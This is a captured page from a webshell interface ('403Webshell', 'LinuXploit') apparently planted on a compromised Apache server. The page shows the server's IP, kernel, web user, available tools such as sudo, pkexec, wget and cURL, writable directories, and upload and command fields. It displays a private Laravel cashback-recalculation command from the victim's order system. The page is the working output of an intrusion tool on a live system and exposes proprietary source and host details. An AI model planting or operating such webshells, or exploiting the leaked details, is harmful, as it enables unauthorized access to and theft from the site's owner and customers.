403Webshell
Server IP : 54.233.248.239  /  Your IP : 172.28.1.13
Web Server : Apache
System : Linux ip-172-28-29-189 6.5.0-1014-aws #14~22.04.1-Ubuntu SMP Thu Feb 15 15:27:06 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.2.34-43+ubuntu22.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/vinumday2_0/app/Console/Commands/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/vinumday2_0/app/Console/Commands/AtualizaPedidosCashback.php
<?php

namespace App\Console\Commands;

use Symfony\Component\Console\Output\ConsoleOutput;
use Symfony\Component\Console\Helper\ProgressBar;

use Illuminate\Console\Command;
use App\Modules\PedidoVenda\Models\PedidoVenda;
use App\Modules\Canal\Models\Canal;
use App\Modules\CupomPedidoVenda\Models\CupomPedidoVenda;
use App\Modules\Cupom\Models\Cupom;
use App\Modules\ContaCorrente\Models\ContaCorrente;
use App\BasicInfo;
use App\Services\ContaCorrenteService;
use Illuminate\Support\Facades\Log;
use DB;

class AtualizaPedidosCashback extends Command
{
    /**
     * The name and signature of the console command.
     *
     * @var string
     */
    protected $signature = 'atualiza_pedidos_cashback';

    /**
     * The console command description.
     *
     * @var string
     */
    protected $description = 'Atualiza Pedidos com Cashback Diferente do Estipulado';

    /**
     * Create a new command instance.
     *
     * @return void
     */
    public function __construct()
    {
        parent::__construct();
        $this->output = new ConsoleOutput;
    }

    /**
     * Execute the console command.
     *
     * @return mixed
     */
    public function handle()
    {

        /*$cupom_id = 698;
        $canal_id = 77;
        $cupom    = Cupom::where('id', $cupom_id)->first();

        $pedidosPixDesconto = PedidoVenda::select(DB::raw("pedido_venda.id, pedido_venda.subtotal, pedido_venda.total, cpv.id_cupom,
                                                (SELECT COUNT(pvhp.id) FROM pedido_venda_has_produto pvhp WHERE pvhp.id_pedido_venda = pedido_venda.id) 'total_ofertas',
                                                (SELECT COUNT(pvhp.id) FROM pedido_venda_has_produto pvhp, canal_has_oferta cho WHERE pvhp.id_pedido_venda = pedido_venda.id AND cho.id_oferta = pvhp.id_oferta AND cho.id_canal = {$canal_id}) 'ofertas_saldao'")
                    )
                    ->leftJoin('cupom_pedido_venda AS cpv', 'cpv.id_pedido_venda', '=', 'pedido_venda.id')
                    ->whereRaw("pedido_venda.data_fechamento >= '2022-03-28 22:00' AND pedido_venda.ajuste = 0 AND pedido_venda.tipo_deposito IS NOT NULL AND pedido_venda.id_status_pedido_venda = 1 AND cpv.id_cupom IS NULL AND pedido_venda.comprovante IS NULL")
                    ->havingRaw('total_ofertas = ofertas_saldao')
                    ->get();

        $total       = count($pedidosPixDesconto);
        $progressBar = new ProgressBar($this->output, $total);

        foreach ($pedidosPixDesconto as $pedidoVenda) {

            $total = $pedidoVenda->subtotal * (1 - (($cupom->percentual_desconto ? $cupom->percentual_desconto : 100) / 100)) - $cupom->valor_desconto;
            $total = $total > 0 ? $total : 0;
            $ajuste = $total - $pedidoVenda->subtotal;

            $total  = number_format($total, 2, '.', '');
            $ajuste = number_format($ajuste, 2, '.', '');

            $sql = "UPDATE pedido_venda SET ajuste = {$ajuste}, total = {$total} WHERE id = {$pedidoVenda->id}";
            DB::update($sql);
            
            $cupomPedidoVenda = new CupomPedidoVenda();
            $cupomPedidoVenda->id_cupom = $cupom_id;
            $cupomPedidoVenda->id_pedido_venda = $pedidoVenda->id;
            $cupomPedidoVenda->data = date('Y-m-d H:i:s');
            $cupomPedidoVenda->save();

            $progressBar->advance();
        }

        $progressBar->finish();*/

        /*$this->info(date('d/m/Y H:i:s') . " - START pedidosCashback");

        $basicInfo = BasicInfo::find(1);

        if($basicInfo->canal_id_cashback){

            $Canal = Canal::where('id', $basicInfo->canal_id_cashback)->first();

            $pedidosCashback = Canal::select(DB::raw("pedido_venda.id, data_fechamento, subtotal, ajuste, total, cc.valor, id_status_pedido_venda, SUM(pedido_venda_has_produto.valor_total) total_produtos"))
                        ->join('canal_has_oferta', 'canal_has_oferta.id_canal', '=', 'canal.id')
                        ->join('pedido_venda_has_produto', 'pedido_venda_has_produto.id_oferta', '=', 'canal_has_oferta.id_oferta')
                        ->join('pedido_venda', 'pedido_venda_has_produto.id_pedido_venda', '=', 'pedido_venda.id')
                        ->leftJoin('conta_corrente AS cc', 'cc.pedido_venda_id', '=', 'pedido_venda.id')
                        ->whereRaw("canal.id = {$basicInfo->canal_id_cashback} AND data_fechamento BETWEEN '{$Canal->data_inicio}' AND '{$Canal->data_fim}' AND cc.valor IS NULL AND id_status_pedido_venda NOT IN (1,5)")
                        ->havingRaw("total_produtos > {$basicInfo->valor_minimo_cashback}")
                        ->groupBy('pedido_venda.id')
                        ->orderBy('pedido_venda.data_fechamento', 'ASC')
                        ->get();

        }else{

            $pedidosCashback = PedidoVenda::select(DB::raw("pedido_venda.id, data_fechamento, subtotal, ajuste, total, cc.valor, id_status_pedido_venda"))
                        ->leftJoin('conta_corrente AS cc', 'cc.pedido_venda_id', '=', 'pedido_venda.id')
                        ->whereRaw("data_fechamento BETWEEN '2022-05-25 23:59:00' AND '2022-05-31 23:59:59' AND cc.valor IS NULL AND subtotal >= {$basicInfo->valor_minimo_cashback} AND id_status_pedido_venda NOT IN (1,5)")
                        ->orderBy('pedido_venda.id', 'ASC')
                        ->get();

        }

        $total       = count($pedidosCashback);
        $progressBar = new ProgressBar($this->output, $total);

        foreach ($pedidosCashback as $pedidoVenda) {
            $pedidoVenda = PedidoVenda::where('id', $pedidoVenda->id)->first();
            ContaCorrenteService::atualizarConta($pedidoVenda, 'E', TRUE, TRUE); //forceCashback, forceCanal
            $progressBar->advance();
        }

        $progressBar->finish();

        $this->info(date('d/m/Y H:i:s') . " - FINISHED pedidosCashback");*/

        /*$this->info(date('d/m/Y H:i:s') . " - START contasCashback");

        $contasCashback = ContaCorrente::select(DB::raw("conta_corrente.id, conta_corrente.pedido_venda_id, pv.subtotal, pv.ajuste, pv.total, conta_corrente.valor 'cash_aplicado', ( (pv.subtotal * 20) / 100 ) 'cash_correto'"))
                    ->join('pedido_venda AS pv', 'conta_corrente.pedido_venda_id', '=', 'pv.id')
                    ->whereRaw('pv.tipo_deposito IS NOT NULL AND pv.ajuste <> 0')
                    ->havingRaw('( (pv.subtotal * 20) / 100 ) > conta_corrente.valor')
                    ->orderBy('conta_corrente.pedido_venda_id', 'ASC')
                    ->get();

        $total       = count($contasCashback);
        $progressBar = new ProgressBar($this->output, $total);

        foreach ($contasCashback as $contaCorrente) {

            $valor = number_format($contaCorrente->cash_correto, 2, '.', '');

            //ATUALIZA STATUS PEDIDO VENDA
            $sql_conta_corrente = "UPDATE conta_corrente SET valor = {$valor}, saldo = {$valor} WHERE id = {$contaCorrente->id}";
            DB::update(DB::raw($sql_conta_corrente));

            $progressBar->advance();
        }

        $progressBar->finish();*/

        $this->info(date('d/m/Y H:i:s') . " - START pedidosCashback");

        $basicInfo = BasicInfo::find(1);

        $pedidosCashback = PedidoVenda::select(DB::raw("pedido_venda.id"))
                    ->join('confraria_membro', 'confraria_membro.cadastro_id', '=', 'pedido_venda.id_cliente')
                    ->join('confraria', 'confraria.id', '=', 'confraria_membro.confraria_id')
                    ->whereRaw('confraria_membro.deleted = 0
                                AND pedido_venda.data_fechamento >= confraria.data_cadastro
                                AND nm_referencia IS NOT NULL
                                AND confraria_membro.confraria_id IN (10,37,25,28,35,39)
                                AND pedido_venda.id_status_pedido_venda IN (2,7)
                                AND pedido_venda.total > 0
                                AND pedido_venda.saldo_usado = 0
                                AND NOT EXISTS (SELECT 1 FROM conta_corrente cc WHERE cc.pedido_venda_id = pedido_venda.id)')
                    ->orderBy('pedido_venda.data_fechamento', 'ASC')
                    ->get();

        $total       = count($pedidosCashback);
        $progressBar = new ProgressBar($this->output, $total);

        foreach ($pedidosCashback as $pedidoVenda) {
            $pedidoVenda = PedidoVenda::where('id', $pedidoVenda->id)->first();
            ContaCorrenteService::atualizarConta($pedidoVenda, 'E');
            $progressBar->advance();
        }

        $progressBar->finish();

        $this->info(date('d/m/Y H:i:s') . " - FINISHED pedidosCashback");

        $this->info(date('d/m/Y H:i:s') . " - DONE");
    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit